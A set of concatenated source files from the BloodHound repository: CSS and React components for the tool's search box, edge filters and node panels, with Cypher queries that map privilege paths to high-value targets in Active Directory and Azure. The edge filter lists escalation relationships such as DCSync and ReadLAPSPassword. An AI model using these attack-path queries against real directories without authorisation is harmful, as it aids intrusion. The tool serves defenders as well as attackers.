@media all and (min-width: 1000px) {
.container {
position: absolute;
z-index: 10;
top: 1em;
left: 1em;
overflow: visible;
min-width: 415px;
max-width: 40%;
background-color: white;
}
}
@media all and (min-width: 1200px) {
.container {
position: absolute;
z-index: 10;
top: 1em;
left: 1em;
overflow: visible;
min-width: 415px;
max-width: 30%;
background-color: white;
}
}
@media all and (min-width: 1600px) {
.container {
position: absolute;
z-index: 10;
top: 1em;
left: 1em;
overflow: visible;
min-width: 415px;
max-width: 25%;
background-color: white;
}
}
.container :global #tabcontainer > ul {
display: table;
width: 100%;
}
.container :global #tabcontainer > div {
padding: 0 0 0 0;
}
.light {
background-color: #f6f6f6;
}
.light :global .input-group span {
background-color: white;
}
.light :global .input-group {
background-color: white;
}
.light :global .input-group input {
background-color: white;
box-shadow: none;
}
.dark :global #tabcontainer > ul > li {
border-top: 0;
overflow: hidden;
white-space: nowrap;
border-radius: 0;
display: table-cell;
width: 33.4%;
text-align: center;
background-color: #1D2735;
}
.dark :global #tabcontainer > ul > li > a {
color: #787e87 !important;
font-weight: 800;
}
.dark :global #tabcontainer > ul > li.active > a {
color: white !important;
font-weight: 800;
}
.dark :global #tabcontainer > ul > li.active > a {
background-color: #141c27;
}
.dark :global #tabcontainer > ul > li > a:hover {
color: white !important;
background-color: #293545;
}
.light :global #tabcontainer > ul > li > a:hover {
background-color: #e7e7e7;
}
.light :global #tabcontainer > ul > li {
border-top: 0;
overflow: hidden;
white-space: nowrap;
border-radius: 0;
display: table-cell;
width: 33.4%;
text-align: center;
background-color: #dfdfdf;
}
.light :global #tabcontainer > ul > li > a {
color: #a5a7ab !important;
font-weight: 800;
}
.light :global #tabcontainer > ul > li > a:focus {
background-color: white;
color: #1f2734;
outline: none;
}
.light :global #tabcontainer > ul > li > a:hover {
color: #1f2734 !important;
background-color: #E7E7E7;
font-weight: 800;
}
.light :global #tabcontainer > ul > li > a:hover {
background-color: #e7e7e7;
}
.light :global #tabcontainer > ul > li.active > a {
background-color: white;
color: #1f2734 !important;
font-weight: 800;
}
.dark :global .searchSelectorS > span {
background: #444b55;
}
.dark :global .searchSelectorS > span > i {
color: white;
}
.light :global .searchSelectorS {
background: white;
}
.light :global .searchSelectorP {
background: white;
}
.dark :global .searchSelectorS {
background: #444b55;
}
.dark :global .searchSelectorP {
background: #444b55;
}
.dark :global .searchSelectorP > span {
background: #444b55;
}
.dark :global .searchSelectorP > span > i {
color: white;
}
.dark :global .searchSelectorS input {
background: #444b55;
color: white;
}
.dark :global .searchSelectorP input {
background: #444b55;
color: white;
}
.light :global .searchSelectorS > span {
background: white;
}
.light :global .searchSelectorS > span > i {
color: #878b91;
}
.light :global .searchSelectorP > span {
background: white;
}
.light :global .searchSelectorP > span > i {
color: #878b91;
}
.light :global .searchSelectorS input {
background: white;
color: #878b91;
}
.light :global .searchSelectorP input {
background: white;
color: #878b91;
}
.dark :global #tabcontainer > div {
background-color: #151d29;
}
.light :global #tabcontainer > div {
background-color: white;
}
``` | /content/code_sandbox/src/components/SearchContainer/SearchContainer.module.css | css | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,362 |
```jsx
import React from 'react';
import { Highlighter } from 'react-bootstrap-typeahead';
import styles from './SearchRow.module.css';
import clsx from 'clsx';
const SearchRow = ({ item, search }) => {
let searched;
if (search.includes(':')) {
searched = search.split(':')[1];
} else {
searched = search;
}
let type = item.type;
let icon = {};
const selectName = () => {
if (item.hasOwnProperty("name")){
return item["name"];
}else if (item.hasOwnProperty("azname")){
return item["azname"];
}else{
return item["objectid"]
}
}
switch (type) {
case 'Group':
icon.className = 'fa fa-users';
break;
case 'User':
icon.className = 'fa fa-user';
break;
case 'Computer':
icon.className = 'fa fa-desktop';
break;
case 'Domain':
icon.className = 'fa fa-globe';
break;
case 'GPO':
icon.className = 'fa fa-list';
break;
case 'OU':
icon.className = 'fa fa-sitemap';
break;
case 'Container':
icon.className = 'fa fa-box'
break
case 'AZUser':
icon.className = 'fa fa-user';
break;
case 'AZGroup':
icon.className = 'fa fa-users';
break;
case 'AZTenant':
icon.className = 'fa fa-cloud';
break;
case 'AZSubscription':
icon.className = 'fa fa-key';
break;
case 'AZResourceGroup':
icon.className = 'fa fa-cube';
break;
case 'AZManagementGroup':
icon.className = 'fa fa-cube';
break;
case 'AZVM':
icon.className = 'fa fa-desktop';
break;
case 'AZDevice':
icon.className = 'fa fa-desktop';
break;
case 'AZContainerRegistry':
icon.className = 'fa fa-box-open';
break;
case 'AZAutomationAccount':
icon.className = 'fa fa-cogs';
break;
case 'AZLogicApp':
icon.className = 'fa fa-sitemap';
break;
case 'AZFunctionApp':
icon.className = 'fa fa-bolt-lightning';
break;
case 'AZWebApp':
icon.className = 'fa fa-object-group';
break;
case 'AZManagedCluster':
icon.className = 'fa fa-cubes';
break;
case 'AZVMScaleSet':
icon.className = 'fa fa-server';
break;
case 'AZKeyVault':
icon.className = 'fa fa-lock';
break;
case 'AZApp':
icon.className = 'fa fa-window-restore';
break;
case 'AZServicePrincipal':
icon.className = 'fa fa-robot';
break;
case 'AZRole':
icon.className = 'fa fa-window-restore'
break
default:
icon.className = 'fa fa-question';
type = 'Base';
break;
}
icon.style = { color: appStore.highResPalette.iconScheme[type].color };
icon.className = clsx(icon.className, styles.spacing);
let name = item.name || item.objectid;
return (
<>
<span>
<i {...icon} />
</span>
<Highlighter matchElement='strong' search={searched}>
{selectName()}
</Highlighter>
</>
);
};
SearchRow.propTypes = {};
export default SearchRow;
``` | /content/code_sandbox/src/components/SearchContainer/SearchRow.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 766 |
```jsx
import React, {useContext} from 'react';
import styles from './EdgeFilter.module.css';
import {AppContext} from '../../../AppContext';
const EdgeFilterSection = ({ title, edges, sectionName }) => {
const context = useContext(AppContext);
const setSection = () => {
for (let edge of edges) {
context.setEdgeIncluded(edge, true);
}
};
const clearSection = () => {
for (let edge of edges) {
context.setEdgeIncluded(edge, false);
}
};
return (
<div className={styles.section}>
<h4>{title}</h4>
<button
onClick={setSection}
className={'fa fa-check-double'}
data-toggle='tooltip'
data-placement='top'
title={`Enable all ${sectionName} edges`}
/>
<button
onClick={clearSection}
className={'fa fa-eraser'}
data-toggle='tooltip'
data-placement='top'
title={`Disable all ${sectionName} edges`}
/>
</div>
);
};
EdgeFilterSection.propTypes = {};
export default EdgeFilterSection;
``` | /content/code_sandbox/src/components/SearchContainer/EdgeFilter/EdgeFilterSection.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 241 |
```jsx
import React, {useContext} from 'react';
import {AppContext} from '../../../AppContext';
import styles from './EdgeFilter.module.css';
const EdgeFilterCheck = ({ name }) => {
const context = useContext(AppContext);
const handleChange = (e) => {
context.setEdgeIncluded(name, e.target.checked);
};
return (
<div className={styles.input}>
<label>
<input
className='checkbox-inline'
type='checkbox'
checked={context.edgeIncluded[name]}
onChange={handleChange}
/>
{name}</label>
</div>
);
};
EdgeFilterCheck.propTypes = {};
export default EdgeFilterCheck;
``` | /content/code_sandbox/src/components/SearchContainer/EdgeFilter/EdgeFilterCheck.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 141 |
```css
.edgeFilter {
position: absolute;
left: 100%;
display: inline-block;
width: auto;
box-shadow: 0 12px 15px 0 rgba(0, 0, 0, 0.2);
margin-left: 2px;
overflow: hidden;
}
.edgeFilter h4 {
display: inline-block;
white-space: nowrap;
margin-left: 8px;
margin-right: 8px;
}
.edgeFilter h3 {
white-space: nowrap;
margin: 0;
}
.dark {
background-color: #444b55;
color: white;
}
.dark button {
background-color: #444b55;
}
.light {
background-color: white;
}
.container {
display: grid;
grid-template-columns: 1fr 1fr 1fr;
margin-left: 8px;
margin-right: 8px;
white-space: nowrap;
column-gap: 1rem;
}
.input {
margin-left: 8px;
margin-right: 8px;
white-space: nowrap;
}
.input > input {
margin-top: 0;
white-space: nowrap;
margin-right: 2px;
}
.section > h4 {
display: inline;
margin-right: 5px;
}
.section > button {
height: 20px;
width: 30px;
}
.center {
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 5px;
}
``` | /content/code_sandbox/src/components/SearchContainer/EdgeFilter/EdgeFilter.module.css | css | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 330 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLink from './Components/NodeCypherLink';
import MappedNodeProps from './Components/MappedNodeProps';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZDeviceNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZDevice') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(
`MATCH (n:AZDevice {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
)
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
operatingsystem: 'OS',
operatingsystemversion: 'OS Version',
deviceid: 'Device ID',
displayname: 'Display Name',
tenantid: 'Tenant ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZDevice {objectid: $objectid})-[:AZMemberOf|AZHasRole*1..]->(n:AZRole)'
}
property={'Azure AD Admin Roles'}
target={objectid}
/>
<NodeCypherLink
property='Reachable High Value Targets'
target={objectid}
baseQuery={
'MATCH (m:AZDevice {objectid: $objectid}),(n {highvalue:true}),p=shortestPath((m)-[r*1..]->(n)) WHERE NONE (r IN relationships(p) WHERE type(r)= "GetChanges") AND NONE (r in relationships(p) WHERE type(r)="GetChangesAll") AND NOT m=n'
}
start={label}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='Inbound Execution Privileges'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Execution Principals'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AZOwns|AZExecuteCommand]->(g:AZDevice {objectid: $objectid})'
}
end={label}
/>
<NodeCypherLink
property='Unrolled Execution Principals'
target={objectid}
baseQuery={
'MATCH p = (m)-[:MemberOf]->(n)-[r:AZOwns|AZExecuteCommand]->(g:AZDevice {objectid: $objectid})'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type='AZResourceGroup' />
<NodeGallery
objectid={objectid}
type='AZDevice'
visible={visible}
/> */}
</div>
</div>
);
};
AZDeviceNodeData.propTypes = {};
export default AZDeviceNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZDeviceNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,028 |
```jsx
import React, { useContext } from 'react';
import { motion } from 'framer-motion';
import { AppContext } from '../../../AppContext';
import styles from './EdgeFilter.module.css';
import EdgeFilterCheck from './EdgeFilterCheck';
import clsx from 'clsx';
import EdgeFilterSection from './EdgeFilterSection';
const EdgeFilter = ({ open }) => {
const context = useContext(AppContext);
return (
<motion.div
variants={{
visible: {
height: 'auto',
width: 'auto',
transition: { duration: 0.4 },
},
hidden: {
height: 0,
width: 0,
transition: { duration: 0.4 },
},
}}
initial={'hidden'}
animate={open ? 'visible' : 'hidden'}
className={clsx(
styles.edgeFilter,
context.darkMode ? styles.dark : styles.light
)}
>
<div className={styles.center}>
<h3>Edge Filtering</h3>
</div>
<div className={styles.container}>
<div>
<EdgeFilterSection
title='Default Edges'
edges={['MemberOf', 'HasSession', 'AdminTo']}
sectionName='default'
/>
<EdgeFilterCheck name='MemberOf' />
<EdgeFilterCheck name='HasSession' />
<EdgeFilterCheck name='AdminTo' />
<EdgeFilterSection
title='ACL Edges'
edges={[
'AllExtendedRights',
'AddMember',
'ForceChangePassword',
'GenericAll',
'GenericWrite',
'Owns',
'WriteDacl',
'WriteOwner',
'ReadLAPSPassword',
'ReadGMSAPassword',
'AddKeyCredentialLink',
'WriteSPN',
'AddSelf',
'AddAllowedToAct',
'DCSync',
'SyncLAPSPassword',
'WriteAccountRestrictions',
]}
sectionName='ACL'
/>
<EdgeFilterCheck name='AllExtendedRights' />
<EdgeFilterCheck name='AddMember' />
<EdgeFilterCheck name='ForceChangePassword' />
<EdgeFilterCheck name='GenericAll' />
<EdgeFilterCheck name='GenericWrite' />
<EdgeFilterCheck name='Owns' />
<EdgeFilterCheck name='WriteDacl' />
<EdgeFilterCheck name='WriteOwner' />
<EdgeFilterCheck name='ReadLAPSPassword' />
<EdgeFilterCheck name='ReadGMSAPassword' />
<EdgeFilterCheck name='AddKeyCredentialLink' />
<EdgeFilterCheck name='WriteSPN' />
<EdgeFilterCheck name='AddSelf' />
<EdgeFilterCheck name='AddAllowedToAct' />
<EdgeFilterCheck name='WriteAccountRestrictions' />
<EdgeFilterCheck name='DCSync' />
<EdgeFilterCheck name='SyncLAPSPassword' />
<EdgeFilterSection
title='Containers'
sectionName='container'
edges={['Contains', 'GPLink']}
/>
<EdgeFilterCheck name='Contains' />
<EdgeFilterCheck name='GPLink' />
<EdgeFilterSection
title='Special'
sectionName='special'
edges={[
'CanRDP',
'CanPSRemote',
'ExecuteDCOM',
'AllowedToDelegate',
'AllowedToAct',
'SQLAdmin',
'HasSIDHistory',
'DumpSMSAPassword',
]}
/>
<EdgeFilterCheck name='CanRDP' />
<EdgeFilterCheck name='CanPSRemote' />
<EdgeFilterCheck name='ExecuteDCOM' />
<EdgeFilterCheck name='AllowedToDelegate' />
<EdgeFilterCheck name='AllowedToAct' />
<EdgeFilterCheck name='SQLAdmin' />
<EdgeFilterCheck name='HasSIDHistory' />
<EdgeFilterCheck name='DumpSMSAPassword' />
</div>
<div>
<EdgeFilterSection
title='Azure Edges'
edges={[
'AZAvereContributor',
'AZContains',
'AZContributor',
'AZGetCertificates',
'AZGetKeys',
'AZGetSecrets',
'AZHasRole',
'AZMemberOf',
'AZRunsAs',
'AZVMContributor',
'AZVMAdminLogin',
'AZAddMembers',
'AZAddSecret',
'AZExecuteCommand',
'AZGlobalAdmin',
'AZPrivilegedAuthAdmin',
'AZPrivilegedRoleAdmin',
'AZResetPassword',
'AZUserAccessAdministrator',
'AZOwns',
'AZCloudAppAdmin',
'AZAppAdmin',
'AZAddOwner',
'AZManagedIdentity',
'AZKeyVaultContributor',
'AZNodeResourceGroup',
'AZWebsiteContributor',
'AZLogicAppContributor',
'AZAutomationContributor',
'AZAKSContributor',
]}
sectionName='azure'
/>
<EdgeFilterCheck name='AZAvereContributor' />
<EdgeFilterCheck name='AZContains' />
<EdgeFilterCheck name='AZContributor' />
<EdgeFilterCheck name='AZGetCertificates' />
<EdgeFilterCheck name='AZGetKeys' />
<EdgeFilterCheck name='AZGetSecrets' />
<EdgeFilterCheck name='AZHasRole' />
<EdgeFilterCheck name='AZMemberOf' />
<EdgeFilterCheck name='AZRunsAs' />
<EdgeFilterCheck name='AZVMContributor' />
<EdgeFilterCheck name='AZVMAdminLogin' />
<EdgeFilterCheck name='AZAddMembers' />
<EdgeFilterCheck name='AZAddSecret' />
<EdgeFilterCheck name='AZExecuteCommand' />
<EdgeFilterCheck name='AZGlobalAdmin' />
<EdgeFilterCheck name='AZPrivilegedAuthAdmin' />
<EdgeFilterCheck name='AZPrivilegedRoleAdmin' />
<EdgeFilterCheck name='AZResetPassword' />
<EdgeFilterCheck name='AZUserAccessAdministrator' />
<EdgeFilterCheck name='AZOwns' />
<EdgeFilterCheck name='AZCloudAppAdmin' />
<EdgeFilterCheck name='AZAppAdmin' />
<EdgeFilterCheck name='AZAddOwner' />
<EdgeFilterCheck name='AZManagedIdentity' />
<EdgeFilterCheck name='AZKeyVaultContributor' />
<EdgeFilterCheck name='AZNodeResourceGroup' />
<EdgeFilterCheck name='AZWebsiteContributor' />
<EdgeFilterCheck name='AZLogicAppContributor' />
<EdgeFilterCheck name='AZAutomationContributor' />
<EdgeFilterCheck name='AZAKSContributor' />
</div>
<div>
<EdgeFilterSection
title='MS Graph App Roles'
edges={[
'AZMGAddSecret',
'AZMGAddOwner',
'AZMGAddMember',
'AZMGGrantAppRoles',
'AZMGGrantRole',
]}
sectionName='msgraphapproles'
/>
<EdgeFilterCheck name='AZMGAddSecret' />
<EdgeFilterCheck name='AZMGAddOwner' />
<EdgeFilterCheck name='AZMGAddMember' />
<EdgeFilterCheck name='AZMGGrantAppRoles' />
<EdgeFilterCheck name='AZMGGrantRole' />
</div>
</div>
</motion.div>
);
};
EdgeFilter.propTypes = {};
export default EdgeFilter;
``` | /content/code_sandbox/src/components/SearchContainer/EdgeFilter/EdgeFilter.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,633 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZVMNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZVM') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(`MATCH (n:AZVM {objectid: $objectid}) RETURN n AS node`, {
objectid: id,
})
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
operatingsystem: 'OS',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherNoNumberLink
target={objectid}
property='See VM within Tenant'
query='MATCH p = (d:AZTenant)-[r:AZContains*1..]->(u:AZVM {objectid: $objectid}) RETURN p'
/>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZVM {objectid:$objectid})-[:AZManagedIdentity]->(n)'
}
property={'Managed Identities'}
target={objectid}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header={'LOCAL ADMINS'}>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Admins'
target={objectid}
baseQuery={
'MATCH p=(n)-[b:AdminTo]->(c:AZVM {objectid: $objectid})'
}
end={label}
/>
<NodeCypherLink
property='Unrolled Admins'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:MemberOf|AdminTo*1..]->(m:AZVM {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLinkComplex
property='Foreign Admins'
target={objectid}
countQuery={
'MATCH (c:AZVM {objectid: $objectid}) OPTIONAL MATCH (u1)-[:AdminTo]->(c) WHERE NOT u1.domain = c.domain WITH u1,c OPTIONAL MATCH (u2)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WHERE NOT u2.domain = c.domain WITH COLLECT(u1) + COLLECT(u2) as tempVar,c UNWIND tempVar as principals RETURN COUNT(DISTINCT(principals))'
}
graphQuery={
'MATCH (c:AZVM {objectid: $objectid}) OPTIONAL MATCH p1 = (u1)-[:AdminTo]->(c) WHERE NOT u1.domain = c.domain WITH p1,c OPTIONAL MATCH p2 = (u2)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WHERE NOT u2.domain = c.domain RETURN p1,p2'
}
/>
<NodePlayCypherLink
property='Derivative Local Admins'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r:AdminTo|MemberOf|HasSession*1..]->(m:AZVM {objectid: $objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header={'INBOUND EXECUTION PRIVILEGES'}>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Execution Rights'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZAvereContributor|AZVMContributor|AZContributor]->(m:AZVM {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Group Delegated Execution Rights'
target={objectid}
baseQuery={
'MATCH p=(n)-[r1:AZMemberOf]->(g)-[r:AZAvereContributor|AZVMContributor|AZContributor]->(m:AZVM {objectid: $objectid})'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header={'INBOUND OBJECT CONTROL'}>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZAvereContributor|AZVMContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZVM {objectid:$objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZMemberOf]->(g)-[r1:AZAvereContributor|AZVMContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZVM {objectid:$objectid})'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r1*1..]->(c:AZVM {objectid:$objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type='AZVM' />
<NodeGallery
objectid={objectid}
type='AZVM'
visible={visible}
/> */}
</div>
</div>
);
};
AZVMNodeData.propTypes = {};
export default AZVMNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZVMNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,879 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import styles from './DatabaseDataDisplay.module.css';
import { Table } from 'react-bootstrap';
import DatabaseDataLabel from './Components/DatabaseDataLabel';
import { AppContext } from '../../../AppContext';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
const DatabaseDataDisplay = () => {
const [url, setUrl] = useState(appStore.databaseInfo.url);
const [user, setUser] = useState(appStore.databaseInfo.user);
const [index, setIndex] = useState(0);
const context = useContext(AppContext);
useEffect(() => {
emitter.on('refreshDBData', refresh);
return () => {
emitter.removeListener('refreshDBData', refresh);
};
}, []);
const refresh = () => {
setIndex(index + 1);
};
const toggleLogoutModal = () => {
emitter.emit('showLogout');
};
const toggleDBWarnModal = () => {
emitter.emit('openDBWarnModal');
};
const toggleSessionClearModal = () => {
emitter.emit('openSessionClearModal');
};
const toggleWarmupModal = () => {
emitter.emit('openWarmupModal');
};
return (
<div
className={clsx(
styles.nodelist,
context.darkMode ? styles.dark : styles.light
)}
>
<CollapsibleSection header='DB STATS'>
<Table hover striped responsive>
<thead></thead>
<tbody>
<tr>
<td>Address</td>
<td align='right'>{url}</td>
</tr>
<tr>
<td>DB User</td>
<td align='right'>{user}</td>
</tr>
<DatabaseDataLabel
query={
'MATCH ()-[r:HasSession]->() RETURN count(r) AS count'
}
index={index}
label={'Sessions'}
/>
<DatabaseDataLabel
query={'MATCH ()-[r]->() RETURN count(r) AS count'}
index={index}
label={'Relationships'}
/>
<DatabaseDataLabel
query={
'MATCH ()-[r {isacl: true}]->() RETURN count(r) AS count'
}
index={index}
label={'ACLs'}
/>
<DatabaseDataLabel
query={
'MATCH ()-[r {isazure: true}]->() RETURN count(r) AS count'
}
index={index}
label={'Azure Relationships'}
/>
</tbody>
</Table>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='ON-PREM OBJECTS'>
<Table hover striped responsive>
<thead></thead>
<tbody>
<DatabaseDataLabel
query={
"MATCH (n:User) WHERE NOT n.name ENDS WITH '$' RETURN count(n) AS count"
}
index={index}
label={'Users'}
/>
<DatabaseDataLabel
query={'MATCH (n:Group) RETURN count(n) AS count'}
index={index}
label={'Groups'}
/>
<DatabaseDataLabel
query={
'MATCH (n:Computer) RETURN count(n) AS count'
}
index={index}
label={'Computers'}
/>
<DatabaseDataLabel
query={'MATCH (n:OU) RETURN count(n) AS count'}
index={index}
label={'OUS'}
/>
<DatabaseDataLabel
query={'MATCH (n:GPO) RETURN count(n) AS count'}
index={index}
label={'GPOs'}
/>
<DatabaseDataLabel
query={'MATCH (n:Domain) RETURN count(n) AS count'}
index={index}
label={'Domains'}
/>
</tbody>
</Table>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='AZURE OBJECTS'>
<Table hover striped responsive>
<thead></thead>
<tbody>
<DatabaseDataLabel
query={'MATCH (n:AZApp)RETURN count(n) AS count'}
index={index}
label={'AZApp'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZAutomationAccount) RETURN count(n) AS count'}
index={index}
label={'AZAutomationAccount'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZContainerRegistry) RETURN count(n) AS count'}
index={index}
label={'AZContainerRegistry'}
/>
<DatabaseDataLabel
query={
'MATCH (n:AZDevice) RETURN count(n) AS count'
}
index={index}
label={'AZDevice'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZFunctionApp) RETURN count(n) AS count'}
index={index}
label={'AZFunctionApp'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZGroup) RETURN count(n) AS count'}
index={index}
label={'AZGroup'}
/>
<DatabaseDataLabel
query={
'MATCH (n:AZKeyVault) RETURN count(n) AS count'
}
index={index}
label={'AZKeyVault'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZLogicApp) RETURN count(n) AS count'}
index={index}
label={'AZLogicApp'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZManagedCluster) RETURN count(n) AS count'}
index={index}
label={'AZManagedCluster'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZManagementGroup) RETURN count(n) AS count'}
index={index}
label={'AZManagementGroup'}
/>
<DatabaseDataLabel
query={
'MATCH (n:AZResourceGroup) RETURN count(n) AS count'
}
index={index}
label={'AZResourceGroup'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZRole) RETURN count(n) AS count'}
index={index}
label={'AZRole'}
/>
<DatabaseDataLabel
query={
'MATCH (n:AZServicePrincipal) RETURN count(n) AS count'
}
index={index}
label={'AZServicePrincipal'}
/>
<DatabaseDataLabel
query={
'MATCH (n:AZSubscription) RETURN count(n) AS count'
}
index={index}
label={'AZSubscription'}
/>
<DatabaseDataLabel
query={
'MATCH (n:AZTenant) RETURN count(n) AS count'
}
index={index}
label={'AZTenant'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZUser) RETURN count(n) AS count'}
index={index}
label={'AZUser'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZVM) RETURN count(n) AS count'}
index={index}
label={'AZVM'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZVMScaleSet) RETURN count(n) AS count'}
index={index}
label={'AZVMScaleSet'}
/>
<DatabaseDataLabel
query={'MATCH (n:AZWebApp) RETURN count(n) AS count'}
index={index}
label={'AZWebApp'}
/>
</tbody>
</Table>
</CollapsibleSection>
<hr></hr>
<div className={clsx('text-center', styles.buttongroup)}>
<div role='group' className={styles.buttongroup}>
<button
type='button'
className={styles.btnleft}
onClick={(x) => {
setIndex(index + 1);
}}
>
Refresh Database Stats
</button>
<button
type='button'
className={styles.btnright}
onClick={toggleWarmupModal}
>
Warm Up Database
</button>
</div>
<p></p>
<div role='group' className={styles.buttongroup}>
<button
type='button'
className={styles.btnleft}
onClick={toggleSessionClearModal}
>
